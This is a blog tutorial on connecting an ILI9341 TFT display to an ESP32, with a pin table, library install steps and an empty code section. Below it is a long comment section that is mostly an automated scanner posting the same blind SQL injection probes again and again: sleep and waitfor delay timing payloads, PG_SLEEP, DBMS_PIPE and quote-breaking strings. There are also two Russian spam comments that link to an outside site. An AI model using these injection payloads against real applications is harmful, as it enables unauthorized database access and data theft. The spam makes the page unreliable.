Exploring ILI9341 TFT Display


Published Jan. 14, 2025, 7:17 a.m. by Ezra Ogori

In today’s guide, we’ll dive deep into interfacing the ILI9341 TFT display with the ESP32, creating a visually appealing and functional graphical user interface (GUI). Whether you’re building an IoT dashboard, an interactive device, or a simple display project, the combination of the ILI9341 and ESP32 offers power, versatility, and performance.

This tutorial is perfect for beginners and seasoned developers alike, as we’ll cover everything from hardware setup and library integration to advanced features like rendering text and images. Let’s get started!

ILI9341 and ESP32

The ILI9341 TFT display is a popular 2.4-inch to 3.5-inch screen module with vibrant colors, high resolution, and touch support (optional in some variants). It uses the SPI protocol, making it a fast and efficient choice for embedded systems.

ILI9341 Pinout

The ESP32, on the other hand, is a powerhouse microcontroller with Wi-Fi, Bluetooth, and dual-core processing. Its high-speed SPI capabilities make it an ideal match for driving the ILI9341 display while handling complex tasks like data transmission or real-time processing.

ESP32 Pinout

What You’ll Need

To follow along, you’ll need the following components:

ESP32 Dev Board (e.g., ESP32-WROOM-32) ILI9341 TFT Display (SPI variant) Connecting wires or a breadboard A 5V power source or USB connection Adafruit GFX and Adafruit ILI9341 libraries Arduino IDE or PlatformIO

Step 1: Setting Up the Hardware

Pin Connection:

Component ESP32 Pin ILI9341 Pin
TFT_DC 18 DC
TFT_CS 23 CS
TFT_RST 19 RST
VCC 3V3 VCC
GND GND GND
SCK 13 SCK
MISO 12 MISO (Not used in this example)
MOSI 14 MOSI

To drive the ILI9341 display, we’ll use the Adafruit GFX and Adafruit ILI9341 libraries. These libraries simplify the process of rendering graphics and text, providing pre-built functions for drawing shapes, images, and more.

How to Install the Libraries

  • Open Arduino IDE.
  • Navigate to Sketch > Include Library > Manage Libraries.
  • In the Library Manager, search for Adafruit GFX and click Install.
  • Similarly, search for Adafruit ILI9341 and click Install.

Once installed, you’re ready to write and upload your code.

Step 3: Writing the Code

Step 4: Uploading the Code

  • Connect your ESP32 to your computer using a USB cable.
  • In the Arduino IDE, select your ESP32 board under Tools > Board (e.g., “ESP32 Dev Module”).
  • Select the correct port under Tools > Port.
  • Click Upload to compile and upload the code.
  • Once the upload completes, the display should show 'EmbeddedXpress" text

Results

This is the result obtained

Capture Image

Applications

With the ESP32 and ILI9341, you can create projects such as:

  • IoT Dashboards: Display live sensor data, device statuses, and controls.

  • Wearables: Compact, low-power graphical interfaces.

  • Smart Home Displays: Monitor and control home automation systems.

Happy coding!

Similar posts


Getting Started with ESP32: Building an OLED Display Project

In this blog, we'll explore how to interface an ESP32 …

Getting Started with ESP32 : ILI9341 TFT Display

In today’s guide, we’ll dive deep into interfacing the ILI9341 …

210 comments


StanleyKic Aug. 1, 2025, 5 p.m.

В обзорной статье вы найдете собрание важных фактов и аналитики по самым разнообразным темам. Мы рассматриваем как современные исследования, так и исторические контексты, чтобы вы могли получить полное представление о предмете. Погрузитесь в мир знаний и сделайте шаг к пониманию!
Выяснить больше - https://quick-vyvod-iz-zapoya-1.ru/

JerryIodig Sept. 18, 2025, 9:25 p.m.

Эта информационная заметка содержит увлекательные сведения, которые могут вас удивить! Мы собрали интересные факты, которые сделают вашу жизнь ярче и полнее. Узнайте нечто новое о привычных аспектах повседневности и откройте для себя удивительный мир информации.
Изучить вопрос глубже - https://quick-vyvod-iz-zapoya-1.ru/

pHqghUme Sept. 20, 2025, 8:56 p.m.

TIq000K2

pHqghUme Sept. 20, 2025, 8:56 p.m.

*1

pHqghUme Sept. 20, 2025, 8:56 p.m.

*1

pHqghUme Sept. 20, 2025, 8:56 p.m.

*1

pHqghUme Sept. 20, 2025, 8:56 p.m.

*1

pHqghUme Sept. 20, 2025, 8:56 p.m.

-1 OR 2+663-663-1=0+0+0+1

pHqghUme Sept. 20, 2025, 8:56 p.m.

-1 OR 3+663-663-1=0+0+0+1

pHqghUme Sept. 20, 2025, 8:56 p.m.

*if(now()=sysdate(),sleep(15),0)

pHqghUme Sept. 20, 2025, 8:56 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme Sept. 20, 2025, 8:56 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme Sept. 20, 2025, 8:56 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme Sept. 20, 2025, 8:56 p.m.

-1; waitfor delay '0:0:15' --

pHqghUme Sept. 20, 2025, 8:57 p.m.

-1); waitfor delay '0:0:15' --

pHqghUme Sept. 20, 2025, 8:57 p.m.

-1 waitfor delay '0:0:15' --

pHqghUme Sept. 20, 2025, 8:57 p.m.

lCb9BQ8w'; waitfor delay '0:0:15' --

pHqghUme Sept. 20, 2025, 8:57 p.m.

-1 OR 219=(SELECT 219 FROM PG_SLEEP(15))--

pHqghUme Sept. 20, 2025, 8:58 p.m.

-1) OR 950=(SELECT 950 FROM PG_SLEEP(15))--

pHqghUme Sept. 20, 2025, 8:58 p.m.

-1)) OR 667=(SELECT 667 FROM PG_SLEEP(15))--

pHqghUme Sept. 20, 2025, 8:58 p.m.

Tbn9PZ5c' OR 315=(SELECT 315 FROM PG_SLEEP(15))--

pHqghUme Sept. 20, 2025, 8:58 p.m.

Qp3pOHi3') OR 149=(SELECT 149 FROM PG_SLEEP(15))--

pHqghUme Sept. 20, 2025, 8:58 p.m.

qmbNXLqj')) OR 503=(SELECT 503 FROM PG_SLEEP(15))--

pHqghUme Sept. 20, 2025, 8:58 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme Sept. 20, 2025, 8:58 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme Sept. 20, 2025, 8:58 p.m.

'"

pHqghUme Sept. 20, 2025, 8:58 p.m.

����%2527%2522\'\"

pHqghUme Sept. 20, 2025, 8:58 p.m.

@@C5DDc

pHqghUme Sept. 22, 2025, 11:40 a.m.

aJIppEMV

pHqghUme Sept. 22, 2025, 11:40 a.m.

*1

pHqghUme Sept. 22, 2025, 11:40 a.m.

*1

pHqghUme Sept. 22, 2025, 11:40 a.m.

*1

pHqghUme Sept. 22, 2025, 11:40 a.m.

*1

pHqghUme Sept. 22, 2025, 11:40 a.m.

-1 OR 2+118-118-1=0+0+0+1

pHqghUme Sept. 22, 2025, 11:40 a.m.

-1 OR 3+118-118-1=0+0+0+1

pHqghUme Sept. 22, 2025, 11:40 a.m.

*if(now()=sysdate(),sleep(15),0)

pHqghUme Sept. 22, 2025, 11:40 a.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme Sept. 22, 2025, 11:40 a.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme Sept. 22, 2025, 11:40 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme Sept. 22, 2025, 11:41 a.m.

-1; waitfor delay '0:0:15' --

pHqghUme Sept. 22, 2025, 11:41 a.m.

-1); waitfor delay '0:0:15' --

pHqghUme Sept. 22, 2025, 11:41 a.m.

-1 waitfor delay '0:0:15' --

pHqghUme Sept. 22, 2025, 11:41 a.m.

eB9mpFdt'; waitfor delay '0:0:15' --

pHqghUme Sept. 22, 2025, 11:41 a.m.

-1 OR 854=(SELECT 854 FROM PG_SLEEP(15))--

pHqghUme Sept. 22, 2025, 11:41 a.m.

-1) OR 99=(SELECT 99 FROM PG_SLEEP(15))--

pHqghUme Sept. 22, 2025, 11:41 a.m.

-1)) OR 407=(SELECT 407 FROM PG_SLEEP(15))--

pHqghUme Sept. 22, 2025, 11:41 a.m.

adLtaLwy' OR 695=(SELECT 695 FROM PG_SLEEP(15))--

pHqghUme Sept. 22, 2025, 11:41 a.m.

ZRkq3JHO') OR 177=(SELECT 177 FROM PG_SLEEP(15))--

pHqghUme Sept. 22, 2025, 11:41 a.m.

ImvMko0R')) OR 295=(SELECT 295 FROM PG_SLEEP(15))--

pHqghUme Sept. 22, 2025, 11:41 a.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme Sept. 22, 2025, 11:42 a.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme Sept. 22, 2025, 11:42 a.m.

'"

pHqghUme Sept. 22, 2025, 11:42 a.m.

����%2527%2522\'\"

pHqghUme Sept. 22, 2025, 11:42 a.m.

@@fjL4Y

pHqghUme Sept. 24, 2025, 7:57 p.m.

qA1CVRJH

pHqghUme Sept. 24, 2025, 7:57 p.m.

*1

pHqghUme Sept. 24, 2025, 7:57 p.m.

*1

pHqghUme Sept. 24, 2025, 7:57 p.m.

*1

pHqghUme Sept. 24, 2025, 7:57 p.m.

*1

pHqghUme Sept. 24, 2025, 7:57 p.m.

-1 OR 2+46-46-1=0+0+0+1

pHqghUme Sept. 24, 2025, 7:57 p.m.

-1 OR 3+46-46-1=0+0+0+1

pHqghUme Sept. 24, 2025, 7:57 p.m.

*if(now()=sysdate(),sleep(15),0)

pHqghUme Sept. 24, 2025, 7:57 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme Sept. 24, 2025, 7:57 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme Sept. 24, 2025, 7:57 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme Sept. 24, 2025, 7:57 p.m.

-1; waitfor delay '0:0:15' --

pHqghUme Sept. 24, 2025, 7:57 p.m.

-1); waitfor delay '0:0:15' --

pHqghUme Sept. 24, 2025, 7:57 p.m.

-1 waitfor delay '0:0:15' --

pHqghUme Sept. 24, 2025, 7:58 p.m.

ciJoSF7F'; waitfor delay '0:0:15' --

pHqghUme Sept. 24, 2025, 7:58 p.m.

-1 OR 158=(SELECT 158 FROM PG_SLEEP(15))--

pHqghUme Sept. 24, 2025, 7:58 p.m.

-1) OR 669=(SELECT 669 FROM PG_SLEEP(15))--

pHqghUme Sept. 24, 2025, 7:58 p.m.

-1)) OR 355=(SELECT 355 FROM PG_SLEEP(15))--

pHqghUme Sept. 24, 2025, 7:58 p.m.

yynovNNl' OR 653=(SELECT 653 FROM PG_SLEEP(15))--

pHqghUme Sept. 24, 2025, 7:58 p.m.

zyN7UUwE') OR 85=(SELECT 85 FROM PG_SLEEP(15))--

pHqghUme Sept. 24, 2025, 7:58 p.m.

BmPo2YbP')) OR 990=(SELECT 990 FROM PG_SLEEP(15))--

pHqghUme Sept. 24, 2025, 7:58 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme Sept. 24, 2025, 7:58 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme Sept. 24, 2025, 7:58 p.m.

'"

pHqghUme Sept. 24, 2025, 7:58 p.m.

����%2527%2522\'\"

pHqghUme Sept. 24, 2025, 7:58 p.m.

@@Mxemm

pHqghUme Sept. 25, 2025, 12:51 a.m.

o5WBHGQ7

pHqghUme Sept. 25, 2025, 12:52 a.m.

*1

pHqghUme Sept. 25, 2025, 12:52 a.m.

*1

pHqghUme Sept. 25, 2025, 12:52 a.m.

*1

pHqghUme Sept. 25, 2025, 12:52 a.m.

*1

pHqghUme Sept. 25, 2025, 12:52 a.m.

-1 OR 2+501-501-1=0+0+0+1

pHqghUme Sept. 25, 2025, 12:52 a.m.

-1 OR 3+501-501-1=0+0+0+1

pHqghUme Sept. 25, 2025, 12:52 a.m.

*if(now()=sysdate(),sleep(15),0)

pHqghUme Sept. 25, 2025, 12:52 a.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme Sept. 25, 2025, 12:52 a.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme Sept. 25, 2025, 12:52 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme Sept. 25, 2025, 12:52 a.m.

-1; waitfor delay '0:0:15' --

pHqghUme Sept. 25, 2025, 12:52 a.m.

-1); waitfor delay '0:0:15' --

pHqghUme Sept. 25, 2025, 12:52 a.m.

-1 waitfor delay '0:0:15' --

pHqghUme Sept. 25, 2025, 12:52 a.m.

3bT1A73b'; waitfor delay '0:0:15' --

pHqghUme Sept. 25, 2025, 12:52 a.m.

-1 OR 269=(SELECT 269 FROM PG_SLEEP(15))--

pHqghUme Sept. 25, 2025, 12:52 a.m.

-1) OR 963=(SELECT 963 FROM PG_SLEEP(15))--

pHqghUme Sept. 25, 2025, 12:53 a.m.

-1)) OR 979=(SELECT 979 FROM PG_SLEEP(15))--

pHqghUme Sept. 25, 2025, 12:53 a.m.

FdGJFup7' OR 54=(SELECT 54 FROM PG_SLEEP(15))--

pHqghUme Sept. 25, 2025, 12:53 a.m.

AmXLKl4O') OR 211=(SELECT 211 FROM PG_SLEEP(15))--

pHqghUme Sept. 25, 2025, 12:53 a.m.

3SfTqg3E')) OR 494=(SELECT 494 FROM PG_SLEEP(15))--

pHqghUme Sept. 25, 2025, 12:53 a.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme Sept. 25, 2025, 12:53 a.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme Sept. 25, 2025, 12:53 a.m.

'"

pHqghUme Sept. 25, 2025, 12:53 a.m.

����%2527%2522\'\"

pHqghUme Sept. 25, 2025, 12:53 a.m.

@@94kfV

pHqghUme Sept. 27, 2025, 12:13 p.m.

SZTQzOMA

pHqghUme Sept. 27, 2025, 12:13 p.m.

*1

pHqghUme Sept. 27, 2025, 12:13 p.m.

*1

pHqghUme Sept. 27, 2025, 12:13 p.m.

*1

pHqghUme Sept. 27, 2025, 12:13 p.m.

*1

pHqghUme Sept. 27, 2025, 12:13 p.m.

-1 OR 2+588-588-1=0+0+0+1

pHqghUme Sept. 27, 2025, 12:13 p.m.

-1 OR 3+588-588-1=0+0+0+1

pHqghUme Sept. 27, 2025, 12:13 p.m.

*if(now()=sysdate(),sleep(15),0)

pHqghUme Sept. 27, 2025, 12:13 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme Sept. 27, 2025, 12:13 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme Sept. 27, 2025, 12:13 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme Sept. 27, 2025, 12:13 p.m.

-1; waitfor delay '0:0:15' --

pHqghUme Sept. 27, 2025, 12:13 p.m.

-1); waitfor delay '0:0:15' --

pHqghUme Sept. 27, 2025, 12:13 p.m.

-1 waitfor delay '0:0:15' --

pHqghUme Sept. 27, 2025, 12:14 p.m.

kYnhHH8g'; waitfor delay '0:0:15' --

pHqghUme Sept. 27, 2025, 12:14 p.m.

-1 OR 302=(SELECT 302 FROM PG_SLEEP(15))--

pHqghUme Sept. 27, 2025, 12:14 p.m.

-1) OR 699=(SELECT 699 FROM PG_SLEEP(15))--

pHqghUme Sept. 27, 2025, 12:14 p.m.

-1)) OR 812=(SELECT 812 FROM PG_SLEEP(15))--

pHqghUme Sept. 27, 2025, 12:14 p.m.

TPgDyOjE' OR 133=(SELECT 133 FROM PG_SLEEP(15))--

pHqghUme Sept. 27, 2025, 12:14 p.m.

D1Wq5wFT') OR 138=(SELECT 138 FROM PG_SLEEP(15))--

pHqghUme Sept. 27, 2025, 12:14 p.m.

2aiNIJGN')) OR 250=(SELECT 250 FROM PG_SLEEP(15))--

pHqghUme Sept. 27, 2025, 12:14 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme Sept. 27, 2025, 12:14 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme Sept. 27, 2025, 12:14 p.m.

'"

pHqghUme Sept. 27, 2025, 12:14 p.m.

����%2527%2522\'\"

pHqghUme Sept. 27, 2025, 12:14 p.m.

@@LHXOS

pHqghUme Sept. 30, 2025, 1:51 p.m.

JGRdTq3X

pHqghUme Sept. 30, 2025, 1:51 p.m.

*1

pHqghUme Sept. 30, 2025, 1:51 p.m.

*1

pHqghUme Sept. 30, 2025, 1:51 p.m.

*1

pHqghUme Sept. 30, 2025, 1:51 p.m.

*1

pHqghUme Sept. 30, 2025, 1:51 p.m.

-1 OR 2+705-705-1=0+0+0+1

pHqghUme Sept. 30, 2025, 1:51 p.m.

-1 OR 3+705-705-1=0+0+0+1

pHqghUme Sept. 30, 2025, 1:51 p.m.

*if(now()=sysdate(),sleep(15),0)

pHqghUme Sept. 30, 2025, 1:51 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme Sept. 30, 2025, 1:51 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme Sept. 30, 2025, 1:51 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme Sept. 30, 2025, 1:51 p.m.

-1; waitfor delay '0:0:15' --

pHqghUme Sept. 30, 2025, 1:51 p.m.

-1); waitfor delay '0:0:15' --

pHqghUme Sept. 30, 2025, 1:51 p.m.

-1 waitfor delay '0:0:15' --

pHqghUme Sept. 30, 2025, 1:51 p.m.

2qu4t5jm'; waitfor delay '0:0:15' --

pHqghUme Sept. 30, 2025, 1:51 p.m.

-1 OR 510=(SELECT 510 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 1:52 p.m.

-1) OR 235=(SELECT 235 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 1:52 p.m.

-1)) OR 866=(SELECT 866 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 1:52 p.m.

PiTzWOPq' OR 629=(SELECT 629 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 1:52 p.m.

i2WG94pz') OR 345=(SELECT 345 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 1:52 p.m.

uyyX5fbo')) OR 375=(SELECT 375 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 1:52 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme Sept. 30, 2025, 1:52 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme Sept. 30, 2025, 1:52 p.m.

'"

pHqghUme Sept. 30, 2025, 1:52 p.m.

����%2527%2522\'\"

pHqghUme Sept. 30, 2025, 1:52 p.m.

@@JijcB

pHqghUme Sept. 30, 2025, 5:54 p.m.

6dQ8Rl0C

pHqghUme Sept. 30, 2025, 5:54 p.m.

*1

pHqghUme Sept. 30, 2025, 5:54 p.m.

*1

pHqghUme Sept. 30, 2025, 5:54 p.m.

*1

pHqghUme Sept. 30, 2025, 5:54 p.m.

*1

pHqghUme Sept. 30, 2025, 5:54 p.m.

-1 OR 2+361-361-1=0+0+0+1

pHqghUme Sept. 30, 2025, 5:54 p.m.

-1 OR 3+361-361-1=0+0+0+1

pHqghUme Sept. 30, 2025, 5:54 p.m.

*if(now()=sysdate(),sleep(15),0)

pHqghUme Sept. 30, 2025, 5:54 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme Sept. 30, 2025, 5:54 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme Sept. 30, 2025, 5:54 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme Sept. 30, 2025, 5:54 p.m.

-1; waitfor delay '0:0:15' --

pHqghUme Sept. 30, 2025, 5:54 p.m.

-1); waitfor delay '0:0:15' --

pHqghUme Sept. 30, 2025, 5:54 p.m.

-1 waitfor delay '0:0:15' --

pHqghUme Sept. 30, 2025, 5:54 p.m.

277cUa3s'; waitfor delay '0:0:15' --

pHqghUme Sept. 30, 2025, 5:54 p.m.

-1 OR 150=(SELECT 150 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 5:54 p.m.

-1) OR 174=(SELECT 174 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 5:54 p.m.

-1)) OR 622=(SELECT 622 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 5:54 p.m.

YCVXKHu9' OR 243=(SELECT 243 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 5:54 p.m.

Jmk9hCK5') OR 566=(SELECT 566 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 5:54 p.m.

QlDhfFJJ')) OR 278=(SELECT 278 FROM PG_SLEEP(15))--

pHqghUme Sept. 30, 2025, 5:54 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme Sept. 30, 2025, 5:54 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme Sept. 30, 2025, 5:54 p.m.

'"

pHqghUme Sept. 30, 2025, 5:54 p.m.

����%2527%2522\'\"

pHqghUme Sept. 30, 2025, 5:54 p.m.

@@Q1dca

pHqghUme Oct. 1, 2025, 7:57 p.m.

IfgyMPVd

pHqghUme Oct. 1, 2025, 7:57 p.m.

*1

pHqghUme Oct. 1, 2025, 7:57 p.m.

*1

pHqghUme Oct. 1, 2025, 7:57 p.m.

*1

pHqghUme Oct. 1, 2025, 7:57 p.m.

*1

pHqghUme Oct. 1, 2025, 7:57 p.m.

-1 OR 2+566-566-1=0+0+0+1

pHqghUme Oct. 1, 2025, 7:57 p.m.

-1 OR 3+566-566-1=0+0+0+1

pHqghUme Oct. 1, 2025, 7:57 p.m.

*if(now()=sysdate(),sleep(15),0)

pHqghUme Oct. 1, 2025, 7:57 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme Oct. 1, 2025, 7:57 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme Oct. 1, 2025, 7:57 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme Oct. 1, 2025, 7:57 p.m.

-1; waitfor delay '0:0:15' --

pHqghUme Oct. 1, 2025, 7:57 p.m.

-1); waitfor delay '0:0:15' --

pHqghUme Oct. 1, 2025, 7:57 p.m.

-1 waitfor delay '0:0:15' --

pHqghUme Oct. 1, 2025, 7:57 p.m.

TQ8pbLYS'; waitfor delay '0:0:15' --

pHqghUme Oct. 1, 2025, 7:57 p.m.

-1 OR 860=(SELECT 860 FROM PG_SLEEP(15))--

pHqghUme Oct. 1, 2025, 7:57 p.m.

-1) OR 931=(SELECT 931 FROM PG_SLEEP(15))--

pHqghUme Oct. 1, 2025, 7:57 p.m.

-1)) OR 708=(SELECT 708 FROM PG_SLEEP(15))--

pHqghUme Oct. 1, 2025, 7:58 p.m.

NulhIbhp' OR 875=(SELECT 875 FROM PG_SLEEP(15))--

pHqghUme Oct. 1, 2025, 7:58 p.m.

025ujC3m') OR 69=(SELECT 69 FROM PG_SLEEP(15))--

pHqghUme Oct. 1, 2025, 7:58 p.m.

h8ErpvhJ')) OR 37=(SELECT 37 FROM PG_SLEEP(15))--

pHqghUme Oct. 1, 2025, 7:58 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme Oct. 1, 2025, 7:58 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme Oct. 1, 2025, 7:58 p.m.

'"

pHqghUme Oct. 1, 2025, 7:58 p.m.

����%2527%2522\'\"

pHqghUme Oct. 1, 2025, 7:58 p.m.

@@zrWjf

Comment on this post


?